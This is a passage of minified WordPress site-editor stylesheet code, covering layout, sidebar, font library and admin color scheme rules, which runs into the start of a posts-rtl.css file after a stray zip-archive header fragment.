#ddd}}.edit-site-layout__area{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 16px 16px 0}}.edit-site .components-editor-notices__snackbar{bottom:16px;padding-left:16px;padding-right:16px;position:fixed;right:0}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{contain:content;flex-grow:1;overflow-x:hidden;overflow-y:auto}@keyframes local--slide-from-right{0%{opacity:0;transform:translateX(50px)}to{opacity:1;transform:none}}@keyframes local--slide-from-left{0%{opacity:0;transform:translateX(-50px)}to{opacity:1;transform:none}}.edit-site-sidebar__screen-wrapper{overflow-x:auto}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper{scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}.edit-site-sidebar__screen-wrapper{will-change:transform}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}.edit-site-sidebar__screen-wrapper{animation-duration:.14s;animation-timing-function:ease-in-out;display:flex;flex-direction:column;height:100%;max-height:100%;padding:0 12px;scrollbar-gutter:stable;will-change:transform,opacity}@media (prefers-reduced-motion:reduce){.edit-site-sidebar__screen-wrapper{animation-duration:0s}}.edit-site-sidebar__screen-wrapper.slide-from-left{animation-name:local--slide-from-left}.edit-site-sidebar__screen-wrapper.slide-from-right{animation-name:local--slide-from-right}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;color:#949494;min-height:40px;padding:8px 6px 8px 16px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current=true]{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-sidebar-navigation-item.components-item:focus-visible{transform:translateZ(0)}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-right:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px 8px 8px 0}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:48px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word}.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{line-height:32px}.edit-site-sidebar-navigation-screen__actions{display:flex;flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{max-width:292px}}.edit-site-global-styles-variation-title{color:#ddd;font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{outline-color:#ffffff0d}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{outline-color:#ffffff26}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{outline-color:#fff}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:8px 16px;position:sticky}.edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px;margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-patterns__divider{border-top:1px solid #2f2f2f;margin:16px 0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-right:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-sidebar-dataviews,.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-dataviews-dataview-item{border-radius:2px}.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{color:#e0e0e0}.edit-site-sidebar-dataviews-dataview-item.is-selected{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-site-hub{align-items:center;display:flex;gap:8px;height:64px;justify-content:space-between;margin-right:12px}.edit-site-site-hub__actions{flex-shrink:0}.edit-site-site-hub__view-mode-toggle-container{flex-shrink:0;height:64px;width:64px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{background:#0000}.edit-site-site-hub__title .components-button{color:#e0e0e0;display:block;flex-grow:1;font-size:15px;font-weight:500;margin-left:-4px;overflow:hidden;padding-right:16px;position:relative;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{color:#e0e0e0}.edit-site-site-hub__title .components-button:focus{box-shadow:none;outline:none}.edit-site-site-hub__title .components-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.edit-site-site-hub__title .components-button:after{content:"↗";font-weight:400;opacity:0;position:absolute;right:0}@media not (prefers-reduced-motion){.edit-site-site-hub__title .components-button:after{transition:opacity .1s linear}}.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{opacity:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-site-icon__icon{fill:currentColor;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:12px}.edit-site-site-icon__image{aspect-ratio:1/1;background:#333;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-editor__view-mode-toggle button:focus{position:relative}.edit-site-editor__view-mode-toggle button:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;content:"";display:block;left:0;position:absolute;right:0;top:0;z-index:1}.edit-site-style-book{height:100%}.edit-site-style-book.is-button{border-radius:8px}.edit-site-style-book{align-items:stretch;display:flex;flex-direction:column}.edit-site-style-book__iframe{display:block;height:100%;width:100%}.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tablist-container{background:#fff;display:flex;flex:none;padding-right:56px;width:100%}.edit-site-style-book__tabpanel{flex:1 0 auto;overflow:auto}.edit-site-editor-canvas-container{background-color:var(--wp-editor-canvas-background);height:100%}.edit-site-editor-canvas-container iframe{display:block;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{padding:24px 24px 0}.edit-site-editor-canvas-container__section{background:#fff;border-radius:8px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.edit-site-editor-canvas-container__section{transition:all .3s}}.edit-site-editor-canvas-container__close-button{background:#fff;position:absolute;right:8px;top:8px;z-index:2}.edit-site-post-edit{padding:24px}.dataforms-layouts-panel__field-dropdown .fields-controls__password{border-top:1px solid #e0e0e0;padding-top:16px}.edit-site-post-list__featured-image{height:100%;object-fit:cover;width:100%}.edit-site-post-list__featured-image-wrapper{border-radius:4px;height:100%;width:100%}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.edit-site-post-list__featured-image-button{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.edit-site-post-list__featured-image-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-post-list__status-icon{height:24px;width:24px}.edit-site-post-list__status-icon svg{fill:currentColor;margin-left:-4px}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{margin-bottom:70px;padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal .components-navigator-screen{padding:3px}.font-library-modal__tabpanel-layout{margin-top:32px}.font-library-modal__tabpanel-layout .font-library-modal__loading{align-items:center;display:flex;height:100%;justify-content:center;left:0;padding-top:124px;position:absolute;top:0;width:100%}.font-library-modal__footer{background-color:#fff;border-top:1px solid #ddd;bottom:32px;height:70px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__page-selection{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.font-library-modal__page-selection .components-select-control__input{font-size:11px!important;font-weight:500}}.font-library-modal__fonts-title{font-size:11px;font-weight:600;margin-bottom:0;margin-top:0;text-transform:uppercase}.font-library-modal__fonts-list{margin-bottom:0;margin-top:0}.font-library-modal__fonts-list-item{margin-bottom:0}.font-library-modal__font-card{border:1px solid #e0e0e0;height:auto!important;margin-top:-1px;padding:16px;width:100%}.font-library-modal__font-card:hover{background-color:#f0f0f0}.font-library-modal__font-card:focus{position:relative}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#757575}.font-library-modal__font-card .font-library-modal__font-variant_demo-image{display:block;height:24px;width:auto}.font-library-modal__font-card .font-library-modal__font-variant_demo-text{flex-shrink:0;white-space:nowrap}@media not (prefers-reduced-motion){.font-library-modal__font-card .font-library-modal__font-variant_demo-text{transition:opacity .3s ease-in-out}}.font-library-modal__font-variant{border-bottom:1px solid #e0e0e0;padding-bottom:16px}.font-library-modal__tablist-container{background:#fff;border-bottom:1px solid #ddd;margin:0 -32px;padding:0 16px;position:sticky;top:0;z-index:1}.font-library-modal__tablist-container [role=tablist]{margin-bottom:-1px}.font-library-modal__upload-area{align-items:center;display:flex;height:256px!important;justify-content:center;width:100%}button.font-library-modal__upload-area{background-color:#f0f0f0}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#757575}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center;margin-top:64px}.font-library__google-fonts-confirm p{line-height:1.4}.font-library__google-fonts-confirm h2{font-size:1.2rem;font-weight:400}.font-library__google-fonts-confirm .components-card{padding:16px;width:400px}.font-library__google-fonts-confirm .components-button{justify-content:center;width:100%}.font-library-modal__select-all{padding:16px 16px 16px 17px}.font-library-modal__select-all .components-checkbox-control__label{padding-left:16px}.edit-site-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:32px}.edit-site-global-styles-variations_item{box-sizing:border-box;cursor:pointer}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;outline:1px solid #0000001a;outline-offset:-1px;overflow:hidden;position:relative}@media not (prefers-reduced-motion){.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{transition:outline .1s linear}}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{height:32px}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{overflow:hidden}.edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{outline-color:#0000004d}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:#1e1e1e;outline-offset:1px;outline-width:var(--wp-admin-border-width-focus)}.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-styles .edit-site-global-styles-screen-root{box-shadow:none}.edit-site-styles .edit-site-global-styles-screen-root>div>hr{display:none}.edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{border-top:none}.edit-site-styles .edit-site-global-styles-sidebar__navigator-provider{overflow-y:auto;padding-left:0;padding-right:0}.edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{outline:none;padding:12px}.edit-site-styles .edit-site-sidebar-button{color:#1e1e1e}::view-transition-image-pair(root){isolation:auto}::view-transition-new(root),::view-transition-old(root){animation:none;display:block;mix-blend-mode:normal}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-left:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{left:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.edit-site{box-sizing:border-box}.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}.edit-site{height:100vh}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,114.7661290323,160.5;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,96.5322580645,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33.0384615385,68.7307692308,230.4615384615;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:23.6923076923,58.1538461538,214.3076923077;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7.3723404255,81.914893617,108.1276595745;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:5.7446808511,63.829787234,84.2553191489;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56.2692307692,51.4461538462,48.2307692308;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:42.5384615385,38.8923076923,36.4615384615;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:69.8430232558,53.6598837209,92.8401162791;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:57.6860465116,44.3197674419,76.6802325581;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221.4908256881,56.1788990826,45.0091743119;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:207.8348623853,44.2201834862,33.1651376147;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87.0873362445,110.192139738,116.4126637555;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76.1746724891,96.384279476,101.8253275109;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:216.8782608696,116.1847826087,37.6217391304;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195.147826087,104.5434782609,33.852173913;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK!»n¿Èj1j1 css/dist/edit-site/posts-rtl.cssnuȯÝí@charset "UTF-8"; :root{ --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; --wp-bound-block-color:var(--wp-block-synced-color); --wp-editor-canvas-background:#ddd; --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 160.5; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .admin-ui-page{ background-color:#fff; color:#2f2f2f; container:admin-ui-page/inline-size; display:flex; flex-flow:column; height:100%; position:relative; z-index:1; } @media not (prefers-reduced-motion){ .admin-ui-page{ transition:width .2s ease-out; } } .admin-ui-page__header{ background:#fff; border-bottom:1px solid #f0f0f0; padding:16px 48px; position:sticky; top:0; } @container (max-width: 430px){ .admin-ui-page__header{ padding:16px 24px; } } .admin-ui-page__header-subtitle{ color:#757575; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; margin:0; padding-block-end:8px; } .admin-ui-page__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; } .admin-ui-page__content.has-padding{ padding:16px 20px; } @container (max-width: 430px){ .admin-ui-page__content.has-padding{ padding:16px 24px; } } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{ padding:0 8px; width:auto; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{ display:none; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; } .dataviews-picker-wrapper,.dataviews-wrapper{ box-sizing:border-box; container:dataviews-wrapper/inline-size; display:flex; flex-direction:column; font-size:13px; height:100%; line-height:1.4; overflow:auto; scroll-padding-bottom:64px; } .dataviews-filters__container,.dataviews__view-actions{ box-sizing:border-box; flex-shrink:0; padding:16px 48px; position:sticky; right:0; } @media not (prefers-reduced-motion){ .dataviews-filters__container,.dataviews__view-actions{ transition:padding .1s ease-out; } } .dataviews-loading,.dataviews-no-results{ align-items:center; display:flex; flex-grow:1; justify-content:center; padding:0 48px; } @media not (prefers-reduced-motion){ .dataviews-loading,.dataviews-no-results{ transition:padding .1s ease-out; } } .dataviews-loading-more{ text-align:center; } @container (max-width: 430px){ .dataviews-filters__container,.dataviews__view-actions{ padding:12px 24px; } .dataviews-loading,.dataviews-no-results{ padding-left:24px; padding-right:24px; } } .dataviews-title-field{ font-size:13px; font-weight:500; width:100%; } .dataviews-title-field,.dataviews-title-field a{ color:#2f2f2f; text-overflow:ellipsis; white-space:nowrap; } .dataviews-title-field a{ display:block; flex-grow:0; overflow:hidden; text-decoration:none; } .dataviews-title-field a:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field a:focus{ border-radius:2px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba); color:var(--wp-admin-theme-color--rgb); } .dataviews-title-field button.components-button.is-link{ color:#1e1e1e; display:block; font-weight:inherit; overflow:hidden; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; width:100%; } .dataviews-title-field button.components-button.is-link:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field--clickable{ color:#2f2f2f; cursor:pointer; } .dataviews-title-field--clickable:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field--clickable:focus{ border-radius:2px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba); color:var(--wp-admin-theme-color--rgb); } .components-card__body:has(>.dataviews-picker-wrapper),.components-card__body:has(>.dataviews-wrapper){ overflow:hidden; padding:8px 0 0; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews__view-actions,.components-card__body:has(>.dataviews-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-wrapper) .dataviews__view-actions{ padding-inline:24px; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr 